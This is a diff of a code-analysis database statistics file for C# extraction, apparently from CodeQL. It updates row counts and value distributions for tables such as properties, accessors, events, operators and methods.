642 -2 +4 779 780 -2 +4 917 918 -2 +4 1061 1062 -2 +4 1201 1202 -2 +4 1456 1457 -2 +4 -1641 -1642 -2 +1643 +1644 +4 -1859 -1860 -2 +1866 +1867 +4 -2240 -2241 -2 +2254 +2255 +4 -2987 -2988 -2 +3022 +3023 +4 -5285 -5286 -2 +5701 +5702 +4 -24196 -24197 -2 +25663 +25664 +4 -80280 -80281 -2 +84769 +84770 +4 @@ -18279,17 +18599,17 @@ 1 2 -141661 +290043 2 3 -46887 +96228 3 22 -12699 +26603 @@ -18305,17 +18625,17 @@ 1 2 -140593 +287881 2 3 -47406 +97226 3 22 -13248 +27767 @@ -18325,15 +18645,15 @@ constructed_generic -201248 +412875 constructed -201248 +412875 generic -4256 +8577 @@ -18347,7 +18667,7 @@ 1 2 -201248 +412875 @@ -18363,47 +18683,47 @@ 1 2 -1737 +3443 2 3 -551 +1154 3 4 -293 +618 4 6 -330 +652 6 11 -350 +725 11 -25 -328 +26 +647 -25 -61 -320 +26 +63 +657 -61 -2054 -320 +63 +2866 +647 -2323 -10856 -22 +2964 +11327 +29 @@ -18413,15 +18733,15 @@ type_parameter_constraints -273733 +594129 id -273733 +594129 param_id -102321 +202597 @@ -18435,7 +18755,7 @@ 1 2 -273733 +594129 @@ -18451,17 +18771,22 @@ 1 2 -86049 +167246 2 3 -9393 +19984 3 -1740 -6878 +307 +15196 + + +311 +2109 +170 @@ -18507,11 +18832,11 @@ general_type_parameter_constraints -40912 +106692 id -23697 +60453 kind @@ -18529,12 +18854,12 @@ 1 2 -6482 +14214 2 3 -17215 +46239 @@ -18553,23 +18878,23 @@ 1 -172 -173 +279 +280 1 -2708 -2709 +5837 +5838 1 -17170 -17171 +46182 +46183 1 -20858 -20859 +54390 +54391 1 @@ -18580,15 +18905,15 @@ specific_type_parameter_constraints -20140 +46370 id -19736 +45666 base_id -787 +1286 @@ -18602,12 +18927,12 @@ 1 2 -19370 +45008 2 5 -366 +658 @@ -18628,48 +18953,58 @@ 2 3 -181 +260 3 4 -57 +70 4 5 -87 +92 5 +6 +57 + + +6 7 -70 +138 7 10 -53 +108 10 15 -63 +99 15 -26 +21 +111 + + +21 +37 +97 + + +37 +106 +97 + + +108 +4902 60 - -26 -55 -61 - - -56 -3216 -58 - @@ -18678,19 +19013,19 @@ specific_type_parameter_nullability -13207 +31518 id -13161 +31372 base_id -506 +912 nullability -11 +17 @@ -18704,12 +19039,12 @@ 1 2 -13115 +31226 2 3 -46 +146 @@ -18725,7 +19060,7 @@ 1 2 -13161 +31372 @@ -18741,57 +19076,62 @@ 1 2 -99 +97 2 3 -107 +154 3 4 -37 +45 4 5 -31 +42 5 6 -16 +51 6 7 -41 +102 7 -10 -32 +9 +73 -10 +9 13 -39 +84 -13 -26 -38 +14 +20 +65 -26 -82 -40 +20 +28 +69 -84 -2385 -26 +28 +76 +73 + + +77 +4327 +57 @@ -18807,12 +19147,12 @@ 1 2 -497 +890 2 3 -9 +22 @@ -18833,17 +19173,37 @@ 4 5 -2 +1 6 7 -1 +3 8 9 -2 +1 + + +10 +11 +1 + + +12 +13 +1 + + +16 +17 +1 + + +18 +19 +1 24 @@ -18851,18 +19211,28 @@ 1 -41 -42 +64 +65 1 -132 -133 +72 +73 1 -12930 -12931 +117 +118 +1 + + +386 +387 +1 + + +30619 +30620 1 @@ -18879,12 +19249,12 @@ 1 2 -2 +6 2 3 -4 +3 3 @@ -18894,21 +19264,26 @@ 5 6 -1 - - -6 -7 -1 +2 9 10 +2 + + +12 +13 1 -482 -483 +43 +44 +1 + + +836 +837 1 @@ -18919,15 +19294,15 @@ function_pointer_calling_conventions -9 +11 id -9 +11 kind -2 +1 @@ -18941,7 +19316,7 @@ 1 2 -9 +11 @@ -18955,13 +19330,8 @@ 12 -1 -2 -1 - - -8 -9 +9 +10 1 @@ -19052,15 +19422,15 @@ modifiers -42 +82 id -42 +82 name -42 +82 @@ -19074,7 +19444,7 @@ 1 2 -42 +82 @@ -19090,7 +19460,7 @@ 1 2 -42 +82 @@ -19100,15 +19470,15 @@ has_modifiers -2748133 +5504557 id -1841097 +3697015 mod_id -40 +82 @@ -19122,17 +19492,17 @@ 1 2 -1002460 +2024955 2 3 -771185 +1538421 3 5 -67451 +133639 @@ -19146,84 +19516,89 @@ 12 -5 -6 -2 +1 +2 +4 + + +15 +16 +4 28 29 -2 +4 -149 -150 -2 +151 +152 +4 360 361 -2 +4 -5658 -5659 -2 +6163 +6164 +4 -16373 -16374 -2 +16387 +16388 +4 -22977 -22978 -2 +23884 +23885 +4 -29954 -29955 -2 +30035 +30036 +4 -30538 -30539 -2 +30651 +30652 +4 -37974 -37975 -2 +38027 +38028 +4 -60421 -60422 -2 +62139 +62140 +4 -63249 -63250 -2 +63916 +63917 +4 -68508 -68509 -2 +68706 +68707 +4 -78672 -78673 -2 +83872 +83873 +4 -89979 -89980 -2 +96025 +96026 +4 -591411 -591412 -2 +609801 +609802 +4 @@ -19233,26 +19608,26 @@ compiler_generated -64039 +136181 id -64039 +136181 exprorstmt_name -1469 +3751 parent_id -1469 +3751 name -118 +374 @@ -19266,7 +19641,7 @@ 1 2 -1469 +3751 @@ -19282,47 +19657,47 @@ 2 3 -43 +110 3 4 -9 +55 4 5 -12 +50 5 -7 -10 +6 +34 -7 -9 -9 +6 +8 +32 -10 -15 -9 +8 +12 +28 -16 -26 -7 +12 +23 +31 -26 -52 -10 +25 +214 +28 -54 -131 -5 +239 +240 +1 @@ -19332,19 +19707,19 @@ nested_types -57075 +111931 id -57075 +111931 declaring_type_id -20621 +40596 unbound_id -41748 +81114 @@ -19358,7 +19733,7 @@ 1 2 -57075 +111931 @@ -19374,7 +19749,7 @@ 1 2 -57075 +111931 @@ -19390,32 +19765,32 @@ 1 2 -11922 +23486 2 3 -3253 +6336 3 4 -1566 +3229 4 7 -1732 +3355 7 12 -1581 +3092 12 262 -564 +1095 @@ -19431,32 +19806,32 @@ 1 2 -11940 +23520 2 3 -3296 +6419 3 4 -1524 +3146 4 7 -1742 +3385 7 12 -1579 +3078 12 206 -538 +1047 @@ -19472,12 +19847,12 @@ 1 2 -40237 +78100 2 415 -1511 +3014 @@ -19493,12 +19868,12 @@ 1 2 -40613 +78840 2 415 -1135 +2274 @@ -19508,27 +19883,27 @@ properties -212542 +425592 id -212542 +425592 name -43400 +84358 declaring_type_id -58256 +117951 type_id -26015 +53011 unbound_id -171648 +333840 @@ -19542,7 +19917,7 @@ 1 2 -212542 +425592 @@ -19558,7 +19933,7 @@ 1 2 -212542 +425592 @@ -19574,7 +19949,7 @@ 1 2 -212542 +425592 @@ -19590,7 +19965,7 @@ 1 2 -212542 +425592 @@ -19606,32 +19981,32 @@ 1 2 -26111 +50751 2 3 -7204 +13993 3 4 -2970 +5752 4 7 -3414 +6648 7 -50 -3276 +49 +6336 -50 -2493 -423 +49 +2886 +876 @@ -19647,32 +20022,32 @@ 1 2 -26111 +50751 2 3 -7239 +14061 3 4 -2963 +5737 4 7 -3431 +6682 7 -52 -3256 +51 +6331 -52 -2224 -398 +51 +2578 +793 @@ -19688,17 +20063,17 @@ 1 2 -37474 +72834 2 3 -3569 +6930 3 -522 -2356 +773 +4592 @@ -19714,32 +20089,32 @@ 1 2 -26331 +51180 2 3 -7340 +14256 3 4 -2963 +5737 4 7 -3304 +6443 7 -70 -3256 +68 +6326 -70 +68 2018 -205 +414 @@ -19755,42 +20130,42 @@ 1 2 -19786 +40635 2 3 -14574 +30139 3 4 -5590 +10900 4 5 -4013 +7841 5 6 -3629 +7184 6 8 -4670 +9327 8 -15 -4396 +16 +9565 -15 +16 250 -1594 +2357 @@ -19806,42 +20181,42 @@ 1 2 -22107 +45418 2 3 -12293 +25434 3 4 -5587 +10895 4 5 -4023 +7914 5 6 -3637 +7145 6 8 -4647 +9283 8 15 -4605 +9224 15 250 -1353 +2634 @@ -19857,32 +20232,32 @@ 1 2 -22884 +46699 2 3 -15963 +32886 3 4 -6963 +13890 4 5 -3873 +7544 5 7 -4828 +9380 7 48 -3742 +7549 @@ -19898,42 +20273,42 @@ 1 2 -19786 +40635 2 3 -14574 +30139 3 4 -5590 +10900 4 5 -4013 +7841 5 6 -3629 +7184 6 8 -4670 +9327 8 -15 -4396 +16 +9565 -15 +16 250 -1594 +2357 @@ -19949,27 +20324,27 @@ 1 2 -15635 +32014 2 3 -5319 +10953 3 5 -2353 +4700 5 -19 -1955 +21 +3984 -19 -11856 -752 +21 +12516 +1358 @@ -19985,17 +20360,17 @@ 1 2 -21932 +44809 2 3 -2213 +4461 3 3289 -1870 +3740 @@ -20011,27 +20386,27 @@ 1 2 -16244 +33193 2 3 -5169 +10666 3 5 -2243 +4490 5 -30 -1952 +35 +3993 -30 -5894 -406 +35 +6176 +667 @@ -20047,27 +20422,27 @@ 1 2 -15707 +32155 2 3 -5392 +11080 3 5 -2356 +4739 5 -21 -1975 +23 +4003 -21 -10599 -584 +23 +10636 +1032 @@ -20083,12 +20458,12 @@ 1 2 -169043 +328609 2 -585 -2604 +705 +5231 @@ -20104,7 +20479,7 @@ 1 2 -171648 +333840 @@ -20120,12 +20495,12 @@ 1 2 -169043 +328609 2 -585 -2604 +705 +5231 @@ -20141,12 +20516,12 @@ 1 2 -171048 +332608 2 -438 -599 +690 +1232 @@ -20156,15 +20531,15 @@ property_location -263937 +536505 id -212542 +425592 loc -24308 +52894 @@ -20178,17 +20553,17 @@ 1 2 -171527 +340167 2 3 -32779 +64106 3 119 -8234 +21318 @@ -20204,12 +20579,12 @@ 1 2 -22594 +49412 2 7080 -1714 +3482 @@ -20219,27 +20594,27 @@ indexers -7590 +17042 id -7590 +17042 name -10 +19 declaring_type_id -6071 +13549 type_id -1817 +3969 unbound_id -2283 +4437 @@ -20253,7 +20628,7 @@ 1 2 -7590 +17042 @@ -20269,7 +20644,7 @@ 1 2 -7590 +17042 @@ -20285,7 +20660,7 @@ 1 2 -7590 +17042 @@ -20301,7 +20676,7 @@ 1 2 -7590 +17042 @@ -20317,22 +20692,22 @@ 2 3 -2 +4 3 4 -2 +4 6 7 -2 +4 -3017 -3018 -2 +3488 +3489 +4 @@ -20348,22 +20723,22 @@ 2 3 -2 +4 3 4 -2 +4 4 5 -2 +4 -2415 -2416 -2 +2775 +2776 +4 @@ -20379,17 +20754,17 @@ 1 2 -5 +9 4 5 -2 +4 -720 -721 -2 +810 +811 +4 @@ -20405,22 +20780,22 @@ 2 3 -2 +4 3 4 -2 +4 6 7 -2 +4 900 901 -2 +4 @@ -20436,17 +20811,17 @@ 1 2 -4770 +10505 2 3 -1160 +2747 3 7 -140 +297 @@ -20462,12 +20837,12 @@ 1 2 -6066 +13540 2 3 -5 +9 @@ -20483,12 +20858,12 @@ 1 2 -5046 +11046 2 3 -1025 +2503 @@ -20504,17 +20879,17 @@ 1 2 -4770 +10505 2 3 -1160 +2747 3 7 -140 +297 @@ -20530,27 +20905,32 @@ 1 2 -461 +876 2 3 -423 +871 3 4 -674 +1626 4 6 -120 +267 6 -886 -137 +18 +301 + + +18 +1020 +24 @@ -20566,12 +20946,12 @@ 1 2 -1814 +3964 2 3 -2 +4 @@ -20587,27 +20967,27 @@ 1 2 -541 +1032 2 3 -376 +779 3 4 -691 +1660 4 -7 -165 +6 +238 -7 -845 -42 +6 +978 +258 @@ -20623,27 +21003,27 @@ 1 2 -461 +876 2 3 -423 +871 3 4 -686 +1651 4 6 -120 +267 6 198 -125 +301 @@ -20659,12 +21039,12 @@ 1 2 -2118 +4101 2 -384 -165 +452 +336 @@ -20680,7 +21060,7 @@ 1 2 -2283 +4437 @@ -20696,12 +21076,12 @@ 1 2 -2118 +4101 2 -384 -165 +452 +336 @@ -20717,12 +21097,12 @@ 1 2 -2190 +4247 2 -384 -92 +452 +189 @@ -20732,15 +21112,15 @@ indexer_location -12780 +23899 id -6439 +12715 loc -183 +221 @@ -20754,27 +21134,27 @@ 1 2 -2232 +4500 2 3 -3081 +6699 3 4 -283 +285 4 5 -774 +1117 5 -11 -69 +13 +114 @@ -20790,52 +21170,52 @@ 1 2 -49 +76 2 3 -20 +24 3 4 -19 +17 4 5 -14 +13 5 8 -14 +18 8 13 -14 +17 13 -20 -14 +21 +18 -20 -35 -14 +23 +45 +18 -36 -112 -14 +47 +2319 +17 -124 -2196 -11 +3540 +5342 +3 @@ -20845,27 +21225,27 @@ accessors -284483 +569927 id -284483 +569927 kind -5 +9 name -62337 +121243 declaring_member_id -220132 +442634 unbound_id -226384 +440418 @@ -20879,7 +21259,7 @@ 1 2 -284483 +569927 @@ -20895,7 +21275,7 @@ 1 2 -284483 +569927 @@ -20911,7 +21291,7 @@ 1 2 -284483 +569927 @@ -20927,7 +21307,7 @@ 1 2 -284483 +569927 @@ -20941,14 +21321,14 @@ 12 -25718 -25719 -2 +26183 +26184 +4 -87765 -87766 -2 +90831 +90832 +4 @@ -20962,14 +21342,14 @@ 12 -6501 -6502 -2 +6520 +6521 +4 -18366 -18367 -2 +18373 +18374 +4 @@ -20983,14 +21363,14 @@ 12 -25717 -25718 -2 +26182 +26183 +4 -87764 -87765 -2 +90830 +90831 +4 @@ -21004,14 +21384,14 @@ 12 -20971 -20972 -2 +21018 +21019 +4 -69336 -69337 -2 +69406 +69407 +4 @@ -21027,27 +21407,27 @@ 1 2 -38650 +75192 2 3 -10267 +19949 3 4 -4103 +7929 4 8 -5186 +10111 8 -2204 -4128 +2558 +8060 @@ -21063,7 +21443,7 @@ 1 2 -62337 +121243 @@ -21079,27 +21459,27 @@ 1 2 -38655 +75201 2 3 -10262 +19940 3 4 -4103 +7929 4 8 -5186 +10111 8 -2204 -4128 +2558 +8060 @@ -21115,27 +21495,27 @@ 1 2 -38981 +75840 2 3 -10611 +20617 3 4 -4020 +7763 4 8 -4933 +9653 8 1202 -3790 +7369 @@ -21151,17 +21531,17 @@ 1 2 -155787 +315351 2 3 -64342 +127278 4 5 -2 +4 @@ -21177,12 +21557,12 @@ 1 2 -155787 +315351 2 3 -64345 +127283 @@ -21198,12 +21578,12 @@ 1 2 -155787 +315351 2 3 -64345 +127283 @@ -21219,17 +21599,17 @@ 1 2 -155787 +315351 2 3 -64342 +127278 4 5 -2 +4 @@ -21245,12 +21625,12 @@ 1 2 -223033 +433697 2 -585 -3351 +705 +6721 @@ -21266,7 +21646,7 @@ 1 2 -226384 +440418 @@ -21282,7 +21662,7 @@ 1 2 -226384 +440418 @@ -21298,12 +21678,12 @@ 1 2 -223033 +433697 2 -585 -3351 +705 +6721 @@ -21324,15 +21704,15 @@ accessor_location -367482 +749823 id -284483 +569927 loc -43067 +93213 @@ -21346,17 +21726,17 @@ 1 2 -219889 +434768 2 3 -50297 +98405 3 119 -14296 +36753 @@ -21372,12 +21752,12 @@ 1 2 -41305 +89609 2 -7862 -1762 +8548 +3604 @@ -21387,27 +21767,27 @@ events -7838 +15230 id -7838 +15230 name -6685 +12989 declaring_type_id -631 +1227 type_id -3276 +6365 unbound_id -7833 +15220 @@ -21421,7 +21801,7 @@ 1 2 -7838 +15230 @@ -21437,7 +21817,7 @@ 1 2 -7838 +15230 @@ -21453,7 +21833,7 @@ 1 2 -7838 +15230 @@ -21469,7 +21849,7 @@ 1 2 -7838 +15230 @@ -21485,17 +21865,17 @@ 1 2 -6176 +12001 2 12 -503 +978 14 17 -5 +9 @@ -21511,17 +21891,17 @@ 1 2 -6176 +12001 2 10 -503 +978 14 17 -5 +9 @@ -21537,12 +21917,12 @@ 1 2 -6613 +12848 2 10 -72 +141 @@ -21558,17 +21938,17 @@ 1 2 -6176 +12001 2 12 -503 +978 14 17 -5 +9 @@ -21584,32 +21964,32 @@ 1 2 -318 +618 2 3 -117 +228 3 4 -50 +97 4 8 -55 +107 8 23 -52 +102 58 465 -37 +73 @@ -21625,32 +22005,32 @@ 1 2 -318 +618 2 3 -122 +238 3 4 -47 +92 4 8 -52 +102 8 23 -52 +102 58 465 -37 +73 @@ -21666,27 +22046,27 @@ 1 2 -396 +769 2 3 -102 +199 3 5 -45 +87 5 11 -47 +92 12 181 -40 +77 @@ -21702,32 +22082,32 @@ 1 2 -318 +618 2 3 -117 +228 3 4 -50 +97 4 8 -55 +107 8 23 -52 +102 58 465 -37 +73 @@ -21743,22 +22123,22 @@ 1 2 -2271 +4412 2 3 -599 +1164 3 6 -265 +516 6 318 -140 +272 @@ -21774,22 +22154,22 @@ 1 2 -2471 +4802 2 3 -471 +915 3 8 -258 +501 8 242 -75 +146 @@ -21805,17 +22185,17 @@ 1 2 -2960 +5752 2 4 -268 +521 4 27 -47 +92 @@ -21831,22 +22211,22 @@ 1 2 -2271 +4412 2 3 -599 +1164 3 6 -265 +516 6 318 -140 +272 @@ -21862,12 +22242,12 @@ 1 2 -7828 +15210 2 3 -5 +9 @@ -21883,7 +22263,7 @@ 1 2 -7833 +15220 @@ -21899,12 +22279,12 @@ 1 2 -7828 +15210 2 3 -5 +9 @@ -21920,12 +22300,12 @@ 1 2 -7828 +15210 2 3 -5 +9 @@ -21935,15 +22315,15 @@ event_location -8167 +15868 id -7838 +15230 loc -167 +326 @@ -21957,12 +22337,12 @@ 1 2 -7510 +14592 2 3 -328 +638 @@ -21978,57 +22358,57 @@ 1 2 -25 +48 2 3 -25 +48 3 4 -22 +43 4 5 -12 +24 5 6 -7 +14 6 8 -12 +24 8 9 -10 +19 10 11 -10 +19 12 16 -15 +29 16 31 -15 +29 64 2199 -12 +24 @@ -22038,27 +22418,27 @@ event_accessors -15677 +30460 id -15677 +30460 kind -5 +9 name -13737 +26690 declaring_event_id -7838 +15230 unbound_id -15667 +30441 @@ -22072,7 +22452,7 @@ 1 2 -15677 +30460 @@ -22088,7 +22468,7 @@ 1 2 -15677 +30460 @@ -22104,7 +22484,7 @@ 1 2 -15677 +30460 @@ -22120,7 +22500,7 @@ 1 2 -15677 +30460 @@ -22136,7 +22516,7 @@ 3127 3128 -5 +9 @@ -22152,7 +22532,7 @@ 2740 2741 -5 +9 @@ -22168,7 +22548,7 @@ 3127 3128 -5 +9 @@ -22184,7 +22564,7 @@ 3125 3126 -5 +9 @@ -22200,12 +22580,12 @@ 1 2 -12714 +24703 2 16 -1022 +1987 @@ -22221,7 +22601,7 @@ 1 2 -13737 +26690 @@ -22237,12 +22617,12 @@ 1 2 -12714 +24703 2 16 -1022 +1987 @@ -22258,12 +22638,12 @@ 1 2 -12714 +24703 2 16 -1022 +1987 @@ -22279,7 +22659,7 @@ 2 3 -7838 +15230 @@ -22295,7 +22675,7 @@ 2 3 -7838 +15230 @@ -22311,7 +22691,7 @@ 2 3 -7838 +15230 @@ -22327,7 +22707,7 @@ 2 3 -7838 +15230 @@ -22343,12 +22723,12 @@ 1 2 -15657 +30421 2 3 -10 +19 @@ -22364,7 +22744,7 @@ 1 2 -15667 +30441 @@ -22380,7 +22760,7 @@ 1 2 -15667 +30441 @@ -22396,12 +22776,12 @@ 1 2 -15657 +30421 2 3 -10 +19 @@ -22411,15 +22791,15 @@ event_accessor_location -16334 +31736 id -15677 +30460 loc -167 +326 @@ -22433,12 +22813,12 @@ 1 2 -15020 +29184 2 3 -656 +1276 @@ -22454,57 +22834,57 @@ 2 3 -25 +48 4 5 -25 +48 6 7 -22 +43 8 9 -12 +24 10 11 -7 +14 12 15 -12 +24 16 17 -10 +19 20 21 -10 +19 24 31 -15 +29 32 61 -15 +29 128 4397 -12 +24 @@ -22514,31 +22894,31 @@ operators -6201 +12410 id -6201 +12410 name -65 +126 symbol -60 +116 declaring_type_id -1448 +3024 type_id -809 +1621 unbound_id -5903 +11655 @@ -22552,7 +22932,7 @@ 1 2 -6201 +12410 @@ -22568,7 +22948,7 @@ 1 2 -6201 +12410 @@ -22584,7 +22964,7 @@ 1 2 -6201 +12410 @@ -22600,7 +22980,7 @@ 1 2 -6201 +12410 @@ -22616,7 +22996,7 @@ 1 2 -6201 +12410 @@ -22632,375 +23012,80 @@ 1 2 -2 +4 2 3 -10 +19 3 -4 -5 +5 +9 5 6 -2 +4 8 9 -7 +9 -10 -17 -5 +9 +11 +9 -26 -46 -5 - - -54 -55 -5 - - -57 -58 -5 - - -65 -73 -5 - - -80 -436 -5 - - -454 -500 -5 - - -506 -507 -2 - - - - - - -name -symbol - - -12 - - -1 -2 -65 - - - - - - -name -declaring_type_id - - -12 - - -1 -2 -2 - - -2 -3 -10 - - -3 -4 -5 - - -5 -6 -2 - - -8 -9 -7 - - -10 -15 -5 - - -26 -32 -5 - - -36 -50 -5 - - -50 -52 -5 - - -52 -53 -5 - - -63 -120 -5 - - -201 -444 -5 - - -451 -452 -2 - - - - - - -name -type_id - - -12 - - -1 -2 -7 - - -2 -3 -20 - - -3 -4 -5 - - -5 -6 -2 - - -8 -9 -7 - - -10 -15 -5 - - -26 -32 -5 - - -37 -52 -5 - - -63 -155 -5 - - -181 -182 -2 - - - - - - -name -unbound_id - - -12 - - -1 -2 -2 - - -2 -3 -10 - - -3 -4 -5 - - -5 -6 -2 - - -8 -9 -7 - - -10 -17 -5 - - -26 -46 -5 - - -53 -54 -5 - - -56 -57 -5 - - -65 -73 -5 - - -80 -415 -5 - - -416 -472 -5 - - -478 -479 -2 - - - - - - -symbol -id - - -12 - - -1 -2 -2 - - -2 -3 -10 - - -3 -4 -5 - - -8 -9 -7 - - -10 -17 -5 +17 +27 +9 45 46 -2 +4 54 55 -5 +9 57 58 -5 +9 -72 -86 -5 +66 +74 +9 -91 -436 -5 +85 +437 +9 -454 -500 -5 +459 +532 +9 -506 -507 -2 +532 +533 +4 -symbol -name +name +symbol 12 @@ -23008,19 +23093,14 @@ 1 2 -55 - - -2 -3 -5 +126 -symbol +name declaring_type_id @@ -23029,113 +23109,428 @@ 1 2 -2 +4 2 3 -10 +19 3 -4 -5 +5 +9 + + +5 +6 +4 8 9 -7 +9 -10 -15 -5 +9 +11 +9 -31 -37 -5 - - -49 -51 -5 - - -51 -52 -2 - - -52 -53 -5 - - -63 -120 -5 - - -201 -444 -5 - - -451 -452 -2 - - - - - - -symbol -type_id - - -12 - - -1 -2 -7 - - -2 -3 -20 - - -3 -4 -5 - - -8 -9 -7 - - -10 -15 -5 +15 +27 +9 31 38 -5 +9 -51 -64 -5 +49 +51 +9 -154 -182 -5 +52 +53 +14 + + +68 +121 +9 + + +206 +476 +9 + + +477 +478 +4 + + + + + + +name +type_id + + +12 + + +1 +2 +14 + + +2 +3 +38 + + +3 +5 +9 + + +5 +6 +4 + + +8 +9 +9 + + +9 +11 +9 + + +15 +27 +9 + + +31 +39 +9 + + +52 +69 +9 + + +155 +186 +9 + + + + + + +name +unbound_id + + +12 + + +1 +2 +4 + + +2 +3 +19 + + +3 +5 +9 + + +5 +6 +4 + + +8 +9 +9 + + +9 +11 +9 + + +17 +27 +9 + + +45 +46 +4 + + +53 +54 +9 + + +56 +57 +9 + + +66 +74 +9 + + +85 +415 +9 + + +416 +489 +9 + + +489 +490 +4 + + + + + + +symbol +id + + +12 + + +1 +2 +4 + + +2 +3 +19 + + +3 +5 +9 + + +8 +9 +9 + + +9 +11 +9 + + +17 +46 +9 + + +54 +55 +9 + + +57 +58 +9 + + +73 +91 +9 + + +92 +437 +9 + + +459 +532 +9 + + +532 +533 +4 + + + + + + +symbol +name + + +12 + + +1 +2 +107 + + +2 +3 +9 + + + + + + +symbol +declaring_type_id + + +12 + + +1 +2 +4 + + +2 +3 +19 + + +3 +5 +9 + + +8 +9 +9 + + +9 +11 +9 + + +15 +32 +9 + + +37 +50 +9 + + +50 +51 +4 + + +52 +53 +14 + + +68 +121 +9 + + +206 +476 +9 + + +477 +478 +4 + + + + + + +symbol +type_id + + +12 + + +1 +2 +14 + + +2 +3 +38 + + +3 +5 +9 + + +8 +9 +9 + + +9 +11 +9 + + +15 +32 +9 + + +38 +53 +9 + + +68 +156 +9 + + +185 +186 +4 @@ -23151,62 +23546,62 @@ 1 2 -2 +4 2 3 -10 +19 3 -4 -5 +5 +9 8 9 -7 +9 -10 -17 -5 +9 +11 +9 -45 +17 46 -2 +9 53 54 -5 +9 56 57 -5 +9 -72 -86 -5 +73 +91 +9 -91 +92 415 -5 +9 416 -472 -5 +489 +9 -478 -479 -2 +489 +490 +4 @@ -23222,42 +23617,37 @@ 1 2 -200 +472 2 3 -742 +1568 3 4 -45 +87 4 -5 -115 - - -5 6 -22 +267 6 7 -147 +287 7 -15 -112 +16 +228 -15 +16 73 -62 +112 @@ -23273,32 +23663,32 @@ 1 2 -280 +628 2 3 -726 +1539 3 4 -125 +243 4 5 -142 +272 5 10 -125 +243 10 24 -47 +97 @@ -23314,32 +23704,32 @@ 1 2 -280 +628 2 3 -729 +1543 3 4 -122 +238 4 5 -142 +272 5 9 -115 +228 9 22 -57 +112 @@ -23355,27 +23745,27 @@ 1 2 -945 +2021 2 3 -203 +418 3 4 -150 +292 4 -5 -112 +6 +243 -5 +8 39 -37 +48 @@ -23391,42 +23781,37 @@ 1 2 -200 +472 2 3 -742 +1568 3 4 -45 +87 4 -5 -115 - - -5 6 -22 +267 6 7 -147 +287 7 -15 -112 +16 +228 -15 +16 73 -62 +112 @@ -23442,32 +23827,32 @@ 1 2 -383 +793 2 3 -190 +370 3 5 -62 +121 5 8 -65 +126 8 18 -65 +126 -18 -1167 -42 +19 +1227 +82 @@ -23483,27 +23868,27 @@ 1 2 -596 +1207 2 3 -77 +150 3 5 -60 +116 5 13 -70 +131 13 18 -5 +14 @@ -23519,27 +23904,27 @@ 1 2 -596 +1207 2 3 -82 +160 3 5 -65 +126 5 14 -62 +121 15 16 -2 +4 @@ -23555,22 +23940,22 @@ 1 2 -626 +1266 2 3 -62 +121 3 6 -65 +126 6 -463 -55 +501 +107 @@ -23586,32 +23971,32 @@ 1 2 -383 +793 2 3 -190 +370 3 5 -62 +121 5 8 -65 +126 8 18 -65 +126 -18 -1107 -42 +19 +1137 +82 @@ -23627,12 +24012,12 @@ 1 2 -5828 +11509 2 -21 -75 +26 +146 @@ -23648,7 +24033,7 @@ 1 2 -5903 +11655 @@ -23664,7 +24049,7 @@ 1 2 -5903 +11655 @@ -23680,12 +24065,12 @@ 1 2 -5828 +11509 2 -21 -75 +26 +146 @@ -23701,12 +24086,12 @@ 1 2 -5873 +11596 2 -21 -30 +22 +58 @@ -23716,15 +24101,15 @@ operator_location -11639 +22756 id -1989 +5763 loc -1713 +3229 @@ -23738,47 +24123,32 @@ 1 2 -438 +858 2 3 -221 +3220 3 -6 -182 - - -6 -7 -41 - - -7 -8 -257 - - -8 9 -122 +395 9 -10 -495 +11 +459 -10 +11 12 -119 +595 12 -13 -108 +14 +233 @@ -23794,22 +24164,17 @@ 1 2 -1403 +2830 2 -3 -115 +9 +242 -3 -15 -131 - - -21 -793 -63 +9 +2695 +156 @@ -23819,15 +24184,15 @@ constant_value -95257 +185350 id -95199 +185238 value -24531 +47853 @@ -23841,12 +24206,12 @@ 1 2 -95141 +185126 2 3 -57 +112 @@ -23862,27 +24227,27 @@ 1 2 -16848 +32891 2 3 -3705 +7218 3 4 -1995 +3886 4 -60 -1842 +61 +3589 -60 +61 2421 -140 +267 @@ -23892,27 +24257,27 @@ methods -549172 +1117636 id -549172 +1117636 name -68273 +133590 declaring_type_id -101140 +202387 type_id -54054 +112876 unbound_id -357745 +696553 @@ -23926,7 +24291,7 @@ 1 2 -549172 +1117636 @@ -23942,7 +24307,7 @@ 1 2 -549172 +1117636 @@ -23958,7 +24323,7 @@ 1 2 -549172 +1117636 @@ -23974,7 +24339,7 @@ 1 2 -549172 +1117636 @@ -23990,32 +24355,32 @@ 1 2 -35183 +69142 2 3 -12138 +23617 3 4 -5557 +10832 4 6 -5404 +10423 6 12 -5429 +10569 12 -5061 -4559 +5621 +9005 @@ -24031,32 +24396,32 @@ 1 2 -40500 +79512 2 3 -9934 +19341 3 4 -5820 +11314 4 7 -5698 +11046 7 -32 -5131 +33 +10106 -32 -4959 -1188 +33 +5029 +2269 @@ -24072,22 +24437,22 @@ 1 2 -57652 +112856 2 3 -5432 +10593 3 -126 -5121 +174 +10023 -137 -2143 -67 +177 +2703 +116 @@ -24103,32 +24468,32 @@ 1 2 -36040 +70881 2 3 -12589 +24484 3 4 -5607 +10905 4 6 -5512 +10720 6 12 -5149 +10028 12 4958 -3374 +6570 @@ -24144,42 +24509,42 @@ 1 2 -30224 +59752 2 3 -21964 +42983 3 4 -15156 +31619 4 5 -7172 +14251 5 6 -7264 +14787 6 10 -8104 +16097 10 23 -7831 +15654 23 -1055 -3421 +1309 +7242 @@ -24195,37 +24560,37 @@ 1 2 -32832 +64817 2 3 -22819 +44668 3 4 -16580 +34717 4 5 -9122 +18191 5 8 -8951 +18157 8 18 -7600 +15249 18 457 -3233 +6585 @@ -24241,32 +24606,32 @@ 1 2 -49695 +97825 2 3 -23712 +49231 3 4 -11686 +22945 4 5 -5946 +11621 5 -11 -7863 +10 +15205 -11 -595 -2236 +10 +738 +5557 @@ -24282,42 +24647,42 @@ 1 2 -30277 +59859 2 3 -21994 +43060 3 4 -15158 +31619 4 5 -7184 +14285 5 6 -7267 +14806 6 10 -8069 +16014 10 23 -8069 +16111 23 698 -3118 +6628 @@ -24333,27 +24698,27 @@ 1 2 -35802 +75435 2 3 -6943 +14480 3 4 -4078 +8309 4 -9 -4086 +10 +8825 -9 -59685 -3143 +10 +62283 +5825 @@ -24369,22 +24734,22 @@ 1 2 -43794 +91567 2 3 -4717 +9614 3 -9 -4203 +8 +8664 -9 -7612 -1338 +8 +7666 +3029 @@ -24400,22 +24765,22 @@ 1 2 -41733 +87393 2 3 -6603 +13978 3 -7 -4101 +8 +8801 -7 -19179 -1616 +8 +19699 +2703 @@ -24431,27 +24796,27 @@ 1 2 -35852 +75547 2 3 -6984 +14538 3 4 -4103 +8382 4 -9 -4061 +10 +8762 -9 -44405 -3053 +10 +44480 